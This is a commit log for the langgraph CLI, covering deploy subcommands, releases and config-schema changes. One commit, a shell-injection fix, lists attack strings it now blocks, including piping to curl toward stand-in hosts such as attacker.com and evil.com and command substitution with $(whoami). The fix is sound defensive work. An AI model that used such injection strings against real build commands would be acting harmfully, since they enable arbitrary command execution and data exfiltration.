|
cc9acc1ba9 |
feat(cli): Add deploy revisions list command (#7142)
### Summary ``` % langgraph deploy revisions list f5bb6e58-e2ab-40b9-9855-d6dd6d1051b6 No LangSmith API key found. Create one at Settings > API Keys in LangSmith. Enter LangSmith API key: Revision ID Status Created At ------------------------------------ -------- --------------------------- fe05f163-58cf-4783-a918-0c78a8fab0c7 BUILDING 2026-03-12T20:47:14.626436Z 03c32fcf-544f-4517-a016-c7a7243b898d DEPLOYED 2026-03-12T20:30:09.199275Z 29605810-29cc-4110-ac05-d43e564827d0 DEPLOYED 2026-03-12T19:56:36.232427Z ``` |
||
|
|
8f62374658 | release(cli): 0.4.18 (#7186) | ||
|
|
bec531980d | chore: update error message (#7185) | ||
|
|
cd7961b051 |
release(cli): 0.4.17 (#7166)
release new templates --------- Co-authored-by: William Fu-Hinthorn <13333726+hinthornw@users.noreply.github.com> |
||
|
|
c315dd000f | feat(cli): new deep agent templates (#7165) | ||
|
|
4759b2464f | release(cli): 0.4.16 (#7151) | ||
|
|
16ab8544b2 |
fix(cli): use --tag for langgraph deploy (#7148)
langgraph deploy should use the `--tag/-t` instead of `--image-tag`. This matches langgraph build |
||
|
|
93a0dfec08 |
fix(cli): cleanup client creation code (#7140)
make following fixes for deploy cli: - allow logs command to read in `_DEPLOYMENT_NAME_ENV` - change prompt for api key to be more user friendly - refactor prompt for org scoped keys - make sure --config option is documented in deploy help |
||
|
|
96199c4fee |
feat(cli): add langgraph deploy logs subcommand (#7100)
Add a `langgraph deploy logs` subcommand to fetch build and deploy/server logs from LangSmith deployments. ## Changes - **`host_backend.py`**: Add `get_build_logs()` and `get_deploy_logs()` methods, plus `langsmith_url` support. - **`helpers.py`** (new): Log formatting (`format_log_entry`, `format_timestamp`, `level_fg`) and resolution helpers (`resolve_deployment_id`). ## Usage ```bash # Deploy logs (latest 10) langgraph deploy logs --deployment-id <id> --limit 10 # Error logs by name langgraph deploy logs --name gtm-agent --level ERROR # Build logs langgraph deploy logs --deployment-id <id> --type build # Tail logs (Ctrl+C to stop) langgraph deploy logs --name gtm-agent --follow ``` ## Tests 56 unit tests passing covering host backend methods, log formatting, and helper functions. --------- Co-authored-by: hari-dhanushkodi <hari@langchain.dev> |
||
|
|
d595f11b43 |
feat(cli): add deploy list and deploy delete subcommands (#7118)
### Summary
This PR introduces a subcommand implementation that allows `langgraph
deploy list` and `langgraph deploy delete` subcommands.
#### `langgraph deploy list`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy list --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy list [OPTIONS]
[Beta] List LangSmith Deployments.
Options:
--name-contains TEXT Only show deployments whose names contain this value.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment
variable or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy list
Deployment ID Deployment Name Deployment URL
------------------------------------ -------------------------- ------------------------------------------------------------------------------------
a40d6567-87c0-485a-a23d-94309a7d4519 ht-andrew-test-04 -
9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc ht-anirudh-deployment-test https://ht-anirudh-deployment-test-428af4737f8a533cb2b107587eb8f38f.us.langgraph.app/
```
#### `langgraph deploy delete`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy delete --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy delete [OPTIONS] DEPLOYMENT_ID
[Beta] Delete a LangSmith Deployment.
Options:
--force Delete without prompting for confirmation.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable
or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): Y
Host API key:
Deleted deployment a40d6567-87c0-485a-a23d-94309a7d4519.
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): n
Aborted!
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc --force
Host API key:
Deleted deployment 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc.
```
|
||
|
|
7488cf2448 |
fix: Revert "feat(cli): Add deploy list and deploy delete subcommands" (#7116)
Reverts langchain-ai/langgraph#7106 This PR broke the `langgraph deploy` command flags. |
||
|
|
e77201cbb1 |
feat(cli): Add deploy list and deploy delete subcommands (#7106)
### Summary
This PR introduces a subcommand implementation that allows `langgraph
deploy list` and `langgraph deploy delete` subcommands.
#### `langgraph deploy list`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy list --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy list [OPTIONS]
[Beta] List LangSmith Deployments.
Options:
--name-contains TEXT Only show deployments whose names contain this value.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment
variable or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy list
Deployment ID Deployment Name Deployment URL
------------------------------------ -------------------------- ------------------------------------------------------------------------------------
a40d6567-87c0-485a-a23d-94309a7d4519 ht-andrew-test-04 -
9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc ht-anirudh-deployment-test https://ht-anirudh-deployment-test-428af4737f8a533cb2b107587eb8f38f.us.langgraph.app
```
#### `langgraph deploy delete`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy delete --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy delete [OPTIONS] DEPLOYMENT_ID
[Beta] Delete a LangSmith Deployment.
Options:
--force Delete without prompting for confirmation.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable
or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): Y
Host API key:
Deleted deployment a40d6567-87c0-485a-a23d-94309a7d4519.
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): n
Aborted!
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc --force
Host API key:
Deleted deployment 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc.
```
|
||
|
|
4ef61690c6 | feat(cli): add distributed runtime support to langgraph cli (#7096) | ||
|
|
2638ff715a | release(cli): 0.4.15 (#7095) | ||
|
|
65117979b4 |
feat(cli): add langgraph deploy (#7004)
Allow users to deploy to langsmith deployments from the langgraph-cli. This PR makes the following changes: 1. Add a simple host backend client with httpx 2. Adjust `progress.py` to show elapsed time for commands, and also use threading.Event to stop the spinner 3. Adjust `_build` to allow arbitrary command so we can pass `docker buildx build` and default to `docker build` 4. Add new `deploy` command, this re-uses a lot of the `langgraph build` functionality, and then uses the new host-backend client to push the built image to langsmith deployments. --------- Co-authored-by: David Asamu <david.asamu@langchain.dev> |
||
|
|
e00a027579 |
fix(cli): block shell injection chars in build/install commands (#7044)
## Summary - Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS` to prevent command injection in CLI `build_command` / `install_command` parameters - Previously these values were interpolated directly into Dockerfile `RUN` directives with no validation - Single `&` is blocked (background execution) while `&&` remains allowed since it's commonly used in build commands (e.g. `npm install && npm build`) - Adds `has_disallowed_build_command_content()` validation function and applies it in the `build` CLI command - Mirrors langchain-ai/langchainplus#19143 **Attack examples now blocked:** - `pip install foo | curl attacker.com` (pipe) - `npm install; curl evil.com` (semicolon) - `pip install $(whoami)` (command substitution) - `pip install ${IFS}evil` (variable expansion) - `npm install & curl evil.com` (background execution) ## Test Plan - [x] 27 new unit tests covering all disallowed chars, injection patterns, single `&` rejection, `&&` allowance, and valid commands - [x] All 64 tests in `test_config.py` pass (37 existing + 27 new) 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com> |
||
|
|
a3823395cf | chore(cli): pass checkpointer config to CLI (#7003) | ||
|
|
50df7d423a |
Merge commit from fork
* Patch * Add more tests * update idempotency tests --------- Co-authored-by: William Fu-Hinthorn <13333726+hinthornw@users.noreply.github.com> |
||
|
|
ed293f16d6 |
fix(cli): update graph config schema to support description field (#6895)
## Summary
- The config processing code in `config.py` already handles graphs
defined as `{"path": "...", "description": "..."}` dicts, but the
`Config` TypedDict and JSON schema only declared `dict[str, str]`
- Added a `GraphDef` TypedDict with `path` and optional `description`
fields
- Updated `Config.graphs` to `dict[str, str | GraphDef]` and regenerated
the JSON schemas
- This makes the schema match the actual runtime behavior and fixes
IDE/schema validation for users who use the dict format
## Test plan
- [x] `make format` passes
- [x] `make lint` passes
- [x] `make test` passes (all 85 tests)
- [x] Schema regeneration produces consistent output
Release Notes: Update `langgraph.json` schema to support `{"path":
"...", "description": "..."}` format for graph definitions.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
|
||
|
|
b0f14649e0 | chore: Update CLI schema (#6858) | ||
|
|
f5e56e200d |
feat(cli): add keep_latest prune strategy to ThreadTTLConfig (#6784)
## Summary - Add `"keep_latest"` to `ThreadTTLConfig.strategy` to match langgraph-api support for pruning old checkpoints while retaining the thread and its latest state - Add `sweep_limit` to `ThreadTTLConfig` where the API actually reads it (was previously a no-op on `CheckpointerConfig`) - Regenerate `schema.json` / `schema.v0.json` ## Test plan - [x] `make format && make lint` passes - [x] `make test` passes (85/85) --------- Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com> |
||
|
|
f9870bc9ae |
chore: Drop support for bullseye builds (#6779)
It's EOL for debian. |
||
|
|
86b65beb8f |
chore: Update ThreadTTLConfig (#6730)
Sync with underlying implementation. |
||
|
|
2c6f99cbf0 |
release(cli): 0.4.12 (#6716)
Release Notes: Increase upper bound of `langgraph-ap` to `<0.8` Closes https://github.com/langchain-ai/langgraph/issues/6706 |